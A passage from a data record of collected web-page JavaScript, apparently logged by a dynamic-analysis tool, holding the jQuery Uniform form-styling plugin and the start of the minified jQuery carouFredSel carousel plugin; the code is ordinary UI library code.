<= 1) { return false; } return true; } /** * Meaningless utility function. Used mostly for improving minification. * * @return false */ function returnFalse() { return false; } /** * noSelect plugin, very slightly modified * http://mths.be/noselect v1.0.3 * * @param jQuery $elem Element that we don't want to select * @param Object options Uniform options for the element */ function noSelect($elem, options) { var none = 'none'; bindMany($elem, options, { 'selectstart dragstart mousedown': returnFalse }); $elem.css({ MozUserSelect: none, msUserSelect: none, webkitUserSelect: none, userSelect: none }); } /** * Updates the filename tag based on the value of the real input * element. * * @param jQuery $el Actual form element * @param jQuery $filenameTag Span/div to update * @param Object options Uniform options for this element */ function setFilename($el, $filenameTag, options) { var filename = $el.val(); if (filename === \"\") { filename = options.fileDefaultHtml; } else { filename = filename.split(/[\\/\\\\]+/); filename = filename[(filename.length - 1)]; } $filenameTag.text(filename); } /** * Function from jQuery to swap some CSS values, run a callback, * then restore the CSS. Modified to pass JSLint and handle undefined * values with 'use strict'. * * @param jQuery $el Element * @param object newCss CSS values to swap out * @param Function callback Function to run */ function swap($elements, newCss, callback) { var restore, item; restore = []; $elements.each(function () { var name; for (name in newCss) { if (Object.prototype.hasOwnProperty.call(newCss, name)) { restore.push({ el: this, name: name, old: this.style[name] }); this.style[name] = newCss[name]; } } }); callback(); while (restore.length) { item = restore.pop(); item.el.style[item.name] = item.old; } } /** * The browser doesn't provide sizes of elements that are not visible. * This will clone an element and add it to the DOM for calculations. * * @param jQuery $el * @param String method */ function sizingInvisible($el, callback) { var targets; // We wish to target ourselves and any parents as long as // they are not visible targets = $el.parents(); targets.push($el[0]); targets = targets.not(':visible'); swap(targets, { visibility: \"hidden\", display: \"block\", position: \"absolute\" }, callback); } /** * Standard way to unwrap the div/span combination from an element * * @param jQuery $el Element that we wish to preserve * @param Object options Uniform options for the element * @return Function This generated function will perform the given work */ function unwrapUnwrapUnbindFunction($el, options) { return function () { $el.unwrap().unwrap().unbind(options.eventNamespace); }; } var allowStyling = true, // False if IE6 or other unsupported browsers highContrastTest = false, // Was the high contrast test ran? uniformHandlers = [ // Objects that take care of \"unification\" { // Buttons match: function ($el) { return $el.is(\"a, button, :submit, :reset, input[type='button']\"); }, apply: function ($el, options) { var $div, defaultSpanHtml, ds, getHtml, doingClickEvent; defaultSpanHtml = options.submitDefaultHtml; if ($el.is(\":reset\")) { defaultSpanHtml = options.resetDefaultHtml; } if ($el.is(\"a, button\")) { // Use the HTML inside the tag getHtml = function () { return $el.html() || defaultSpanHtml; }; } else { // Use the value property of the element getHtml = function () { return htmlify(attrOrProp($el, \"value\")) || defaultSpanHtml; }; } ds = divSpan($el, options, { divClass: options.buttonClass, spanHtml: getHtml() }); $div = ds.div; bindUi($el, $div, options); doingClickEvent = false; bindMany($div, options, { \"click touchend\": function () { var ev, res, target, href; if (doingClickEvent) { return; } if ($el.is(':disabled')) { return; } doingClickEvent = true; if ($el[0].dispatchEvent) { ev = document.createEvent(\"MouseEvents\"); ev.initEvent(\"click\", true, true); res = $el[0].dispatchEvent(ev); if ($el.is('a') && res) { target = attrOrProp($el, 'target'); href = attrOrProp($el, 'href'); if (!target || target === '_self') { document.location.href = href; } else { wind.open(href, target); } } } else { $el.click(); } doingClickEvent = false; } }); noSelect($div, options); return { remove: function () { // Move $el out $div.after($el); // Remove div and span $div.remove(); // Unbind events $el.unbind(options.eventNamespace); return $el; }, update: function () { classClearStandard($div, options); classUpdateDisabled($div, $el, options); $el.detach(); ds.span.html(getHtml()).append($el); } }; } }, { // Checkboxes match: function ($el) { return $el.is(\":checkbox\"); }, apply: function ($el, options) { var ds, $div, $span; ds = divSpan($el, options, { divClass: options.checkboxClass }); $div = ds.div; $span = ds.span; // Add focus classes, toggling, active, etc. bindUi($el, $div, options); bindMany($el, options, { \"click touchend\": function () { classUpdateChecked($span, $el, options); } }); classUpdateChecked($span, $el, options); return { remove: unwrapUnwrapUnbindFunction($el, options), update: function () { classClearStandard($div, options); $span.removeClass(options.checkedClass); classUpdateChecked($span, $el, options); classUpdateDisabled($div, $el, options); } }; } }, { // File selection / uploads match: function ($el) { return $el.is(\":file\"); }, apply: function ($el, options) { var ds, $div, $filename, $button; // The \"span\" is the button ds = divSpan($el, options, { divClass: options.fileClass, spanClass: options.fileButtonClass, spanHtml: options.fileButtonHtml, spanWrap: \"after\" }); $div = ds.div; $button = ds.span; $filename = $(\"<span />\").html(options.fileDefaultHtml); $filename.addClass(options.filenameClass); $filename = divSpanWrap($el, $filename, \"after\"); // Set the size if (!attrOrProp($el, \"size\")) { attrOrProp($el, \"size\", $div.width() / 10); } // Actions function filenameUpdate() { setFilename($el, $filename, options); } bindUi($el, $div, options); // Account for input saved across refreshes filenameUpdate(); // IE7 doesn't fire onChange until blur or second fire. if (isMsie()) { // IE considers browser chrome blocking I/O, so it // suspends tiemouts until after the file has // been selected. bindMany($el, options, { click: function () { $el.trigger(\"change\"); setTimeout(filenameUpdate, 0); } }); } else { // All other browsers behave properly bindMany($el, options, { change: filenameUpdate }); } noSelect($filename, options); noSelect($button, options); return { remove: function () { // Remove filename and button $filename.remove(); $button.remove(); // Unwrap parent div, remove events return $el.unwrap().unbind(options.eventNamespace); }, update: function () { classClearStandard($div, options); setFilename($el, $filename, options); classUpdateDisabled($div, $el, options); } }; } }, { // Input fields (text) match: function ($el) { if ($el.is(\"input\")) { var t = (\" \" + attrOrProp($el, \"type\") + \" \").toLowerCase(), allowed = \" color date datetime datetime-local email month number password search tel text time url week \"; return allowed.indexOf(t) >= 0; } return false; }, apply: function ($el, options) { var elType, $wrapper; elType = attrOrProp($el, \"type\"); $el.addClass(options.inputClass); $wrapper = wrapWithWrapperClass($el, options); bindUi($el, $el, options); if (options.inputAddTypeAsClass) { $el.addClass(elType); } return { remove: function () { $el.removeClass(options.inputClass); if (options.inputAddTypeAsClass) { $el.removeClass(elType); } if ($wrapper) { $el.unwrap(); } }, update: returnFalse }; } }, { // Radio buttons match: function ($el) { return $el.is(\":radio\"); }, apply: function ($el, options) { var ds, $div, $span; ds = divSpan($el, options, { divClass: options.radioClass }); $div = ds.div; $span = ds.span; // Add classes for focus, handle active, checked bindUi($el, $div, options); bindMany($el, options, { \"click touchend\": function () { // Find all radios with the same name, then update // them with $.uniform.update() so the right // per-element options are used $.uniform.update($(':radio[name=\"' + attrOrProp($el, \"name\") + '\"]')); } }); classUpdateChecked($span, $el, options); return { remove: unwrapUnwrapUnbindFunction($el, options), update: function () { classClearStandard($div, options); classUpdateChecked($span, $el, options); classUpdateDisabled($div, $el, options); } }; } }, { // Select lists, but do not style multiselects here match: function ($el) { if ($el.is(\"select\") && !isMultiselect($el)) { return true; } return false; }, apply: function ($el, options) { var ds, $div, $span, origElemWidth; if (options.selectAutoWidth) { sizingInvisible($el, function () { origElemWidth = $el.width(); }); } ds = divSpan($el, options, { divClass: options.selectClass, spanHtml: ($el.find(\":selected:first\") || $el.find(\"option:first\")).html(), spanWrap: \"before\" }); $div = ds.div; $span = ds.span; if (options.selectAutoWidth) { // Use the width of the select and adjust the // span and div accordingly sizingInvisible($el, function () { // Force \"display: block\" - related to bug #287 swap($([ $span[0], $div[0] ]), { display: \"block\" }, function () { var spanPad; spanPad = $span.outerWidth() - $span.width(); $div.width(origElemWidth); $span.width(origElemWidth -spanPad); }); });\t\t\t\t\t\t } else { // Force the select to fill the size of the div $div.addClass('fixedWidth'); } // Take care of events bindUi($el, $div, options); bindMany($el, options, { change: function () { $span.html($el.find(\":selected\").html()); $div.removeClass(options.activeClass); }, \"click touchend\": function () { // IE7 and IE8 may not update the value right // until after click event - issue #238 var selHtml = $el.find(\":selected\").html(); if ($span.html() !== selHtml) { // Change was detected // Fire the change event on the select tag $el.trigger('change'); } }, keyup: function () { $span.html($el.find(\":selected\").html()); } }); noSelect($span, options); return { remove: function () { // Remove sibling span $span.remove(); // Unwrap parent div $el.unwrap().unbind(options.eventNamespace); return $el; }, update: function () { if (options.selectAutoWidth) { // Easier to remove and reapply formatting $.uniform.restore($el); $el.uniform(options); } else { classClearStandard($div, options); // Reset current selected text $span.html($el.find(\":selected\").html()); classUpdateDisabled($div, $el, options); } } }; } }, { // Select lists - multiselect lists only match: function ($el) { if ($el.is(\"select\") && isMultiselect($el)) { return true; } return false; }, apply: function ($el, options) { var $wrapper; $el.addClass(options.selectMultiClass); $wrapper = wrapWithWrapperClass($el, options); bindUi($el, $el, options); return { remove: function () { $el.removeClass(options.selectMultiClass); if ($wrapper) { $el.unwrap(); } }, update: returnFalse }; } }, { // Textareas match: function ($el) { return $el.is(\"textarea\"); }, apply: function ($el, options) { var $wrapper; $el.addClass(options.textareaClass); $wrapper = wrapWithWrapperClass($el, options); bindUi($el, $el, options); return { remove: function () { $el.removeClass(options.textareaClass); if ($wrapper) { $el.unwrap(); } }, update: returnFalse }; } } ]; // IE6 can't be styled - can't set opacity on select if (isMsie() && !isMsieSevenOrNewer()) { allowStyling = false; } $.uniform = { // Default options that can be overridden globally or when uniformed // globally: $.uniform.defaults.fileButtonHtml = \"Pick A File\"; // on uniform: $('input').uniform({fileButtonHtml: \"Pick a File\"}); defaults: { activeClass: \"active\", autoHide: true, buttonClass: \"button\", checkboxClass: \"checker\", checkedClass: \"checked\", disabledClass: \"disabled\", eventNamespace: \".uniform\", fileButtonClass: \"action\", fileButtonHtml: \"Choose File\", fileClass: \"uploader\", fileDefaultHtml: \"No file selected\", filenameClass: \"filename\", focusClass: \"focus\", hoverClass: \"hover\", idPrefix: \"uniform\", inputAddTypeAsClass: true, inputClass: \"uniform-input\", radioClass: \"radio\", resetDefaultHtml: \"Reset\", resetSelector: false, // We'll use our own function when you don't specify one selectAutoWidth: true, selectClass: \"selector\", selectMultiClass: \"uniform-multiselect\", submitDefaultHtml: \"Submit\", // Only text allowed textareaClass: \"uniform\", useID: true, wrapperClass: null }, // All uniformed elements - DOM objects elements: [] }; $.fn.uniform = function (options) { var el = this; options = $.extend({}, $.uniform.defaults, options); // If we are in high contrast mode, do not allow styling if (!highContrastTest) { highContrastTest = true; if (highContrast()) { allowStyling = false; } } // Only uniform on browsers that work if (!allowStyling) { return this; } // Code for specifying a reset button if (options.resetSelector) { $(options.resetSelector).mouseup(function () { wind.setTimeout(function () { $.uniform.update(el); }, 10); }); } return this.each(function () { var $el = $(this), i, handler, callbacks; // Avoid uniforming elements already uniformed - just update if ($el.data(\"uniformed\")) { $.uniform.update($el); return; } // See if we have any handler for this type of element for (i = 0; i < uniformHandlers.length; i = i + 1) { handler = uniformHandlers[i]; if (handler.match($el, options)) { callbacks = handler.apply($el, options); $el.data(\"uniformed\", callbacks); // Store element in our global array $.uniform.elements.push($el.get(0)); return; } } // Could not style this element }); }; $.uniform.restore = $.fn.uniform.restore = function (elem) { if (elem === undef) { elem = $.uniform.elements; } $(elem).each(function () { var $el = $(this), index, elementData; elementData = $el.data(\"uniformed\"); // Skip elements that are not uniformed if (!elementData) { return; } // Unbind events, remove additional markup that was added elementData.remove(); // Remove item from list of uniformed elements index = $.inArray(this, $.uniform.elements); if (index >= 0) { $.uniform.elements.splice(index, 1); } $el.removeData(\"uniformed\"); }); }; $.uniform.update = $.fn.uniform.update = function (elem) { if (elem === undef) { elem = $.uniform.elements; } $(elem).each(function () { var $el = $(this), elementData; elementData = $el.data(\"uniformed\"); // Skip elements that are not uniformed if (!elementData) { return; } elementData.update($el, elementData.options); }); };}(this, jQuery));if (typeof isMobile != 'undefined' && !isMobile){ $(window).load(function () { \t$(\"select.form-control,input[type='checkbox']:not(.comparator), input[type='radio'],input#id_carrier2, input[type='file']\").uniform(); }); // refresh uniform selects on document width change $(window).resize( \tfunction () { \t\t$.uniform.update(\"select.form-control, input[type='file']\"); \t} );}",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* *\tjQuery carouFredSel 6.2.1 *\tDemo's and documentation: *\tcaroufredsel.dev7studios.com * *\tCopyright (c) 2013 Fred Heusschen *\twww.frebsite.nl * *\tDual licensed under the MIT and GPL licenses. *\thttp://en.wikipedia.org/wiki/MIT_License *\thttp://en.wikipedia.org/wiki/GNU_General_Public_License */(function($){function sc_setScroll(a,b,c){return\"transition\"==c.transition&&\"swing\"==b&&(b=\"ease\"),{anims:[],duration:a,orgDuration:a,easing:b,startTime:getTime()}}function sc_startScroll(a,b){for(var c=0,d=a.anims.length;d>c;c++){var e=a.anims[c];e&&e[0][b.transition](e[1],a.duration,a.easing,e[2])}}function sc_stopScroll(a,b){is_boolean(b)||(b=!0),is_object(a.pre)&&sc_stopScroll(a.pre,b);for(var c=0,d=a.anims.length;d>c;c++){var e=a.anims[c];e[0].stop(!0),b&&(e[0].css(e[1]),is_function(e[2])&&e[2]())}is_object(a.post)&&sc_stopScroll(a.post,b)}function sc_afterScroll(a,b,c){switch(b&&b.remove(),c.fx){case\"fade\":case\"crossfade\":case\"cover-fade\":case\"uncover-fade\":a.css(\"opacity\",1),a.css(\"filter\",\"\")}}function sc_fireCallbacks(a,b,c,d,e){if(b[c]&&b[c].call(a,d),e[c].length)for(var f=0,g=e[c].length;g>f;f++)e[c][f].call(a,d);return[]}function sc_fireQueue(a,b,c){return b.length&&(a.trigger(cf_e(b[0][0],c),b[0][1]),b.shift()),b}function sc_hideHiddenItems(a){a.each(function(){var a=$(this);a.data(\"_cfs_isHidden\",a.is(\":hidden\")).hide()})}function sc_showHiddenItems(a){a&&a.each(function(){var a=$(this);a.data(\"_cfs_isHidden\")||a.show()})}function sc_clearTimers(a){return a.auto&&clearTimeout(a.auto),a.progress&&clearInterval(a.progress),a}function sc_mapCallbackArguments(a,b,c,d,e,f,g){return{width:g.width,height:g.height,items:{old:a,skipped:b,visible:c},scroll:{items:d,direction:e,duration:f}}}function sc_getDuration(a,b,c,d){var e=a.duration;return\"none\"==a.fx?0:(\"auto\"==e?e=b.scroll.duration/b.scroll.items*c:10>e&&(e=d/e),1>e?0:(\"fade\"==a.fx&&(e/=2),Math.round(e)))}function nv_showNavi(a,b,c){var d=is_number(a.items.minimum)?a.items.minimum:a.items.visible+1;if(\"show\"==b||\"hide\"==b)var e=b;else if(d>b){debug(c,\"Not enough items (\"+b+\" total, \"+d+\" needed): Hiding navigation.\");var e=\"hide\"}else var e=\"show\";var f=\"show\"==e?\"removeClass\":\"addClass\",g=cf_c(\"hidden\",c);a.auto.button&&a.auto.button[e]()[f](g),a.prev.button&&a.prev.button[e]()[f](g),a.next.button&&a.next.button[e]()[f](g),a.pagination.container&&a.pagination.container[e]()[f](g)}function nv_enableNavi(a,b,c){if(!a.circular&&!a.infinite){var d=\"removeClass\"==b||\"addClass\"==b?b:!1,e=cf_c(\"disabled\",c);if(a.auto.button&&d&&a.auto.button[d](e),a.prev.button){var f=d||0==b?\"addClass\":\"removeClass\";a.prev.button[f](e)}if(a.next.button){var f=d||b==a.items.visible?\"addClass\":\"removeClass\";a.next.button[f](e)}}}function go_getObject(a,b){return is_function(b)?b=b.call(a):is_undefined(b)&&(b={}),b}function go_getItemsObject(a,b){return b=go_getObject(a,b),is_number(b)?b={visible:b}:\"variable\"==b?b={visible:b,width:b,height:b}:is_object(b)||(b={}),b}function go_getScrollObject(a,b){return b=go_getObject(a,b),is_number(b)?b=50>=b?{items:b}:{duration:b}:is_string(b)?b={easing:b}:is_object(b)||(b={}),b}function go_getNaviObject(a,b){if(b=go_getObject(a,b),is_string(b)){var c=cf_getKeyCode(b);b=-1==c?$(b):c}return b}function go_getAutoObject(a,b){return b=go_getNaviObject(a,b),is_jquery(b)?b={button:b}:is_boolean(b)?b={play:b}:is_number(b)&&(b={timeoutDuration:b}),b.progress&&(is_string(b.progress)||is_jquery(b.progress))&&(b.progress={bar:b.progress}),b}function go_complementAutoObject(a,b){return is_function(b.button)&&(b.button=b.button.call(a)),is_string(b.button)&&(b.button=$(b.button)),is_boolean(b.play)||(b.play=!0),is_number(b.delay)||(b.delay=0),is_undefined(b.pauseOnEvent)&&(b.pauseOnEvent=!0),is_boolean(b.pauseOnResize)||(b.pauseOnResize=!0),is_number(b.timeoutDuration)||(b.timeoutDuration=10>b.duration?2500:5*b.duration),b.progress&&(is_function(b.progress.bar)&&(b.progress.bar=b.progress.bar.call(a)),is_string(b.progress.bar)&&(b.progress.bar=$(b.progress.bar)),b.progress.bar?(is_function(b.progress.updater)||(b.progress.updater=$.fn.carouFredSel.progressbarUpdater),is_number(b.progress.interval)||(b.progress.interval=50)):b.progress=!1),b}function go_getPrevNextObject(a,b){return b=go_getNaviObject(a,b),is_jquery(b)?b={button:b}:is_number(b)&&(b={key:b}),b}function go_complementPrevNextObject(a,b){return is_function(b.button)&&(b.button=b.button.call(a)),is_string(b.button)&&(b.button=$(b.button)),is_string(b.key)&&(b.key=cf_getKeyCode(b.key)),b}function go_getPaginationObject(a,b){return b=go_getNaviObject(a,b),is_jquery(b)?b={container:b}:is_boolean(b)&&(b={keys:b}),b}function go_complementPaginationObject(a,b){return is_function(b.container)&&(b.container=b.container.call(a)),is_string(b.container)&&(b.container=$(b.container)),is_number(b.items)||(b.items=!1),is_boolean(b.keys)||(b.keys=!1),is_function(b.anchorBuilder)||is_false(b.anchorBuilder)||(b.anchorBuilder=$.fn.carouFredSel.pageAnchorBuilder),is_number(b.deviation)||(b.deviation=0),b}function go_getSwipeObject(a,b){return is_function(b)&&(b=b.call(a)),is_undefined(b)&&(b={onTouch:!1}),is_true(b)?b={onTouch:b}:is_number(b)&&(b={items:b}),b}function go_complementSwipeObject(a,b){return is_boolean(b.onTouch)||(b.onTouch=!0),is_boolean(b.onMouse)||(b.onMouse=!1),is_object(b.options)||(b.options={}),is_boolean(b.options.triggerOnTouchEnd)||(b.options.triggerOnTouchEnd=!1),b}function go_getMousewheelObject(a,b){return is_function(b)&&(b=b.call(a)),is_true(b)?b={}:is_number(b)?b={items:b}:is_undefined(b)&&(b=!1),b}function go_complementMousewheelObject(a,b){return b}function gn_getItemIndex(a,b,c,d,e){if(is_string(a)&&(a=$(a,e)),is_object(a)&&(a=$(a,e)),is_jquery(a)?(a=e.children().index(a),is_boolean(c)||(c=!1)):is_boolean(c)||(c=!0),is_number(a)||(a=0),is_number(b)||(b=0),c&&(a+=d.first),a+=b,d.total>0){for(;a>=d.total;)a-=d.total;for(;0>a;)a+=d.total}return a}function gn_getVisibleItemsPrev(a,b,c){for(var d=0,e=0,f=c;f>=0;f--){var g=a.eq(f);if(d+=g.is(\":visible\")?g[b.d.outerWidth](!0):0,d>b.maxDimension)return e;0==f&&(f=a.length),e++}}function gn_getVisibleItemsPrevFilter(a,b,c){return gn_getItemsPrevFilter(a,b.items.filter,b.items.visibleConf.org,c)}function gn_getScrollItemsPrevFilter(a,b,c,d){return gn_getItemsPrevFilter(a,b.items.filter,d,c)}function gn_getItemsPrevFilter(a,b,c,d){for(var e=0,f=0,g=d,h=a.length;g>=0;g--){if(f++,f==h)return f;var i=a.eq(g);if(i.is(b)&&(e++,e==c))return f;0==g&&(g=h)}}function gn_getVisibleOrg(a,b){return b.items.visibleConf.org||a.children().slice(0,b.items.visible).filter(b.items.filter).length}function gn_getVisibleItemsNext(a,b,c){for(var d=0,e=0,f=c,g=a.length-1;g>=f;f++){var h=a.eq(f);if(d+=h.is(\":visible\")?h[b.d.outerWidth](!0):0,d>b.maxDimension)return e;if(e++,e==g+1)return e;f==g&&(f=-1)}}function gn_getVisibleItemsNextTestCircular(a,b,c,d){var e=gn_getVisibleItemsNext(a,b,c);return b.circular||c+e>d&&(e=d-c),e}function gn_getVisibleItemsNextFilter(a,b,c){return gn_getItemsNextFilter(a,b.items.filter,b.items.visibleConf.org,c,b.circular)}function gn_getScrollItemsNextFilter(a,b,c,d){return gn_getItemsNextFilter(a,b.items.filter,d+1,c,b.circular)-1}function gn_getItemsNextFilter(a,b,c,d){for(var f=0,g=0,h=d,i=a.length-1;i>=h;h++){if(g++,g>=i)return g;var j=a.eq(h);if(j.is(b)&&(f++,f==c))return g;h==i&&(h=-1)}}function gi_getCurrentItems(a,b){return a.slice(0,b.items.visible)}function gi_getOldItemsPrev(a,b,c){return a.slice(c,b.items.visibleConf.old+c)}function gi_getNewItemsPrev(a,b){return a.slice(0,b.items.visible)}function gi_getOldItemsNext(a,b){return a.slice(0,b.items.visibleConf.old)}function gi_getNewItemsNext(a,b,c){return a.slice(c,b.items.visible+c)}function sz_storeMargin(a,b,c){b.usePadding&&(is_string(c)||(c=\"_cfs_origCssMargin\"),a.each(function(){var a=$(this),d=parseInt(a.css(b.d.marginRight),10);is_number(d)||(d=0),a.data(c,d)}))}function sz_resetMargin(a,b,c){if(b.usePadding){var d=is_boolean(c)?c:!1;is_number(c)||(c=0),sz_storeMargin(a,b,\"_cfs_tempCssMargin\"),a.each(function(){var a=$(this);a.css(b.d.marginRight,d?a.data(\"_cfs_tempCssMargin\"):c+a.data(\"_cfs_origCssMargin\"))})}}function sz_storeOrigCss(a){a.each(function(){var a=$(this);a.data(\"_cfs_origCss\",a.attr(\"style\")||\"\")})}function sz_restoreOrigCss(a){a.each(function(){var a=$(this);a.attr(\"style\",a.data(\"_cfs_origCss\")||\"\")})}function sz_setResponsiveSizes(a,b){var d=(a.items.visible,a.items[a.d.width]),e=a[a.d.height],f=is_percentage(e);b.each(function(){var b=$(this),c=d-ms_getPaddingBorderMargin(b,a,\"Width\");b[a.d.width](c),f&&b[a.d.height](ms_getPercentage(c,e))})}function sz_setSizes(a,b){var c=a.parent(),d=a.children(),e=gi_getCurrentItems(d,b),f=cf_mapWrapperSizes(ms_getSizes(e,b,!0),b,!1);if(c.css(f),b.usePadding){var g=b.padding,h=g[b.d[1]];b.align&&0>h&&(h=0);var i=e.last();i.css(b.d.marginRight,i.data(\"_cfs_origCssMargin\")+h),a.css(b.d.top,g[b.d[0]]),a.css(b.d.left,g[b.d[3]])}return a.css(b.d.width,f[b.d.width]+2*ms_getTotalSize(d,b,\"width\")),a.css(b.d.height,ms_getLargestSize(d,b,\"height\")),f}function ms_getSizes(a,b,c){return[ms_getTotalSize(a,b,\"width\",c),ms_getLargestSize(a,b,\"height\",c)]}function ms_getLargestSize(a,b,c,d){return is_boolean(d)||(d=!1),is_number(b[b.d[c]])&&d?b[b.d[c]]:is_number(b.items[b.d[c]])?b.items[b.d[c]]:(c=c.toLowerCase().indexOf(\"width\")>-1?\"outerWidth\":\"outerHeight\",ms_getTrueLargestSize(a,b,c))}function ms_getTrueLargestSize(a,b,c){for(var d=0,e=0,f=a.length;f>e;e++){var g=a.eq(e),h=g.is(\":visible\")?g[b.d[c]](!0):0;h>d&&(d=h)}return d}function ms_getTotalSize(a,b,c,d){if(is_boolean(d)||(d=!1),is_number(b[b.d[c]])&&d)return b[b.d[c]];if(is_number(b.items[b.d[c]]))return b.items[b.d[c]]*a.length;for(var e=c.toLowerCase().indexOf(\"width\")>-1?\"outerWidth\":\"outerHeight\",f=0,g=0,h=a.length;h>g;g++){var i=a.eq(g);f+=i.is(\":visible\")?i[b.d[e]](!0):0}return f}function ms_getParentSize(a,b,c){var d=a.is(\":visible\");d&&a.hide();var e=a.parent()[b.d[c]]();return d&&a.show(),e}function ms_getMaxDimension(a,b){return is_number(a[a.d.width])?a[a.d.width]:b}function ms_hasVariableSizes(a,b,c){for(var d=!1,e=!1,f=0,g=a.length;g>f;f++){var h=a.eq(f),i=h.is(\":visible\")?h[b.d[c]](!0):0;d===!1?d=i:d!=i&&(e=!0),0==d&&(e=!0)}return e}function ms_getPaddingBorderMargin(a,b,c){return a[b.d[\"outer\"+c]](!0)-a[b.d[c.toLowerCase()]]()}function ms_getPercentage(a,b){if(is_percentage(b)){if(b=parseInt(b.slice(0,-1),10),!is_number(b))return a;a*=b/100}return a}function cf_e(a,b,c,d,e){return is_boolean(c)||(c=!0),is_boolean(d)||(d=!0),is_boolean(e)||(e=!1),c&&(a=b.events.prefix+a),d&&(a=a+\".\"+b.events.namespace),d&&e&&(a+=b.serialNumber),a}function cf_c(a,b){return is_string(b.classnames[a])?b.classnames[a]:a}function cf_mapWrapperSizes(a,b,c){is_boolean(c)||(c=!0);var d=b.usePadding&&c?b.padding:[0,0,0,0],e={};return e[b.d.width]=a[0]+d[1]+d[3],e[b.d.height]=a[1]+d[0]+d[2],e}function cf_sortParams(a,b){for(var c=[],d=0,e=a.length;e>d;d++)for(var f=0,g=b.length;g>f;f++)if(b[f].indexOf(typeof a[d])>-1&&is_undefined(c[f])){c[f]=a[d];break}return c}function cf_getPadding(a){if(is_undefined(a))return[0,0,0,0];if(is_number(a))return[a,a,a,a];if(is_string(a)&&(a=a.split(\"px\").join(\"\").split(\"em\").join(\"\").split(\" \")),!is_array(a))return[0,0,0,0];for(var b=0;4>b;b++)a[b]=parseInt(a[b],10);switch(a.length){case 0:return[0,0,0,0];case 1:return[a[0],a[0],a[0],a[0]];case 2:return[a[0],a[1],a[0],a[1]];case 3:return[a[0],a[1],a[2],a[1]];default:return[a[0],a[1],a[2],a[3]]}}function cf_getAlignPadding(a,b){var c=is_number(b[b.d.width])?Math.ceil(b[b.d.width]-ms_getTotalSize(a,b,\"width\")):0;switch(b.align){case\"left\":return[0,c];case\"right\":return[c,0];case\"center\":default:return[Math.ceil(c/2),Math.floor(c/2)]}}function cf_getDimensions(a){for(var b=[[\"width\",\"innerWidth\",\"outerWidth\",\"height\",\"innerHeight\",\"outerHeight\",\"left\",\"top\",\"marginRight\",0,1,2,3],[\"height\",\"innerHeight\",\"outerHeight\",\"width\",\"innerWidth\",\"outerWidth\",\"top\",\"left\",\"marginBottom\",3,2,1,0]],c=b[0].length,d=\"right\"==a.direction||\"left\"==a.direction?0:1,e={},f=0;c>f;f++)e[b[0][f]]=b[d][f];return e}function cf_getAdjust(a,b,c,d){var e=a;if(is_function(c))e=c.call(d,e);else if(is_string(c)){var f=c.split(\"+\"),g=c.split(\"-\");if(g.length>f.length)var h=!0,i=g[0],j=g[1];else var h=!1,i=f[0],j=f[1];switch(i){case\"even\":e=1==a%2?a-1:a;break;case\"odd\":e=0==a%2?a-1:a;break;default:e=a}j=parseInt(j,10),is_number(j)&&(h&&(j=-j),e+=j)}return(!is_number(e)||1>e)&&(e=1),e}function cf_getItemsAdjust(a,b,c,d){return cf_getItemAdjustMinMax(cf_getAdjust(a,b,c,d),b.items.visibleConf)}function cf_getItemAdjustMinMax(a,b){return is_number(b.min)&&b.min>a&&(a=b.min),is_number(b.max)&&a>b.max&&(a=b.max),1>a&&(a=1),a}function cf_getSynchArr(a){is_array(a)||(a=[[a]]),is_array(a[0])||(a=[a]);for(var b=0,c=a.length;c>b;b++)is_string(a[b][0])&&(a[b][0]=$(a[b][0])),is_boolean(a[b][1])||(a[b][1]=!0),is_boolean(a[b][2])||(a[b][2]=!0),is_number(a[b][3])||(a[b][3]=0);return a}function cf_getKeyCode(a){return\"right\"==a?39:\"left\"==a?37:\"up\"==a?38:\"down\"==a?40:-1}function cf_setCookie(a,b,c){if(a){var d=b.triggerHandler(cf_e(\"currentPosition\",c));$.fn.carouFredSel.cookie.set(a,d)}}function cf_getCookie(a){var b=$.fn.carouFredSel.cookie.get(a);return\"\"==b?0:b}function in_mapCss(a,b){for(var c={},d=0,e=b.length;e>d;d++)c[b[d]]=a.css(b[d]);return c}function in_complementItems(a,b,c,d){return is_object(a.visibleConf)||(a.visibleConf={}),is_object(a.sizesConf)||(a.sizesConf={}),0==a.start&&is_number(d)&&(a.start=d),is_object(a.visible)?(a.visibleConf.min=a.visible.min,a.visibleConf.max=a.visible.max,a.visible=!1):is_string(a.visible)?(\"variable\"==a.visible?a.visibleConf.variable=!0:a.visibleConf.adjust=a.visible,a.visible=!1):is_function(a.visible)&&(a.visibleConf.adjust=a.visible,a.visible=!1),is_string(a.filter)||(a.filter=c.filter(\":hidden\").length>0?\":visible\":\"*\"),a[b.d.width]||(b.responsive?(debug(!0,\"Set a \"+b.d.width+\" for the items!\"),a[b.d.width]=ms_getTrueLargestSize(c,b,\"outerWidth\")):a[b.d.width]=ms_hasVariableSizes(c,b,\"outerWidth\")?\"variable\":c[b.d.outerWidth](!0)),a[b.d.height]||(a[b.d.height]=ms_hasVariableSizes(c,b,\"outerHeight\")?\"variable\":c[b.d.outerHeight](!0)),a.sizesConf.width=a.width,a.sizesConf.height=a.height,a}function in_complementVisibleItems(a,b){return\"variable\"==a.items[a.d.width]&&(a.items.visibleConf.variable=!0),a.items.visibleConf.variable||(is_number(a[a.d.width])?a.items.visible=Math.floor(a[a.d.width]/a.items[a.d.width]):(a.items.visible=Math.floor(b/a.items[a.d.width]),a[a.d.width]=a.items.visible*a.items[a.d.width],a.items.visibleConf.adjust||(a.align=!1)),(\"Infinity\"==a.items.visible||1>a.items.visible)&&(debug(!0,'Not a valid number of visible items: Set to \"variable\".'),a.items.visibleConf.variable=!0)),a}function in_complementPrimarySize(a,b,c){return\"auto\"==a&&(a=ms_getTrueLargestSize(c,b,\"outerWidth\")),a}function in_complementSecondarySize(a,b,c){return\"auto\"==a&&(a=ms_getTrueLargestSize(c,b,\"outerHeight\")),a||(a=b.items[b.d.height]),a}function in_getAlignPadding(a,b){var c=cf_getAlignPadding(gi_getCurrentItems(b,a),a);return a.padding[a.d[1]]=c[1],a.padding[a.d[3]]=c[0],a}function in_getResponsiveValues(a,b){var d=cf_getItemAdjustMinMax(Math.ceil(a[a.d.width]/a.items[a.d.width]),a.items.visibleConf);d>b.length&&(d=b.length);var e=Math.floor(a[a.d.width]/d);return a.items.visible=d,a.items[a.d.width]=e,a[a.d.width]=d*e,a}function bt_pauseOnHoverConfig(a){if(is_string(a))var b=a.indexOf(\"immediate\")>-1?!0:!1,c=a.indexOf(\"resume\")>-1?!0:!1;else var b=c=!1;return[b,c]}function bt_mousesheelNumber(a){return is_number(a)?a:null}function is_null(a){return null===a}function is_undefined(a){return is_null(a)||a===void 0||\"\"===a||\"undefined\"===a}function 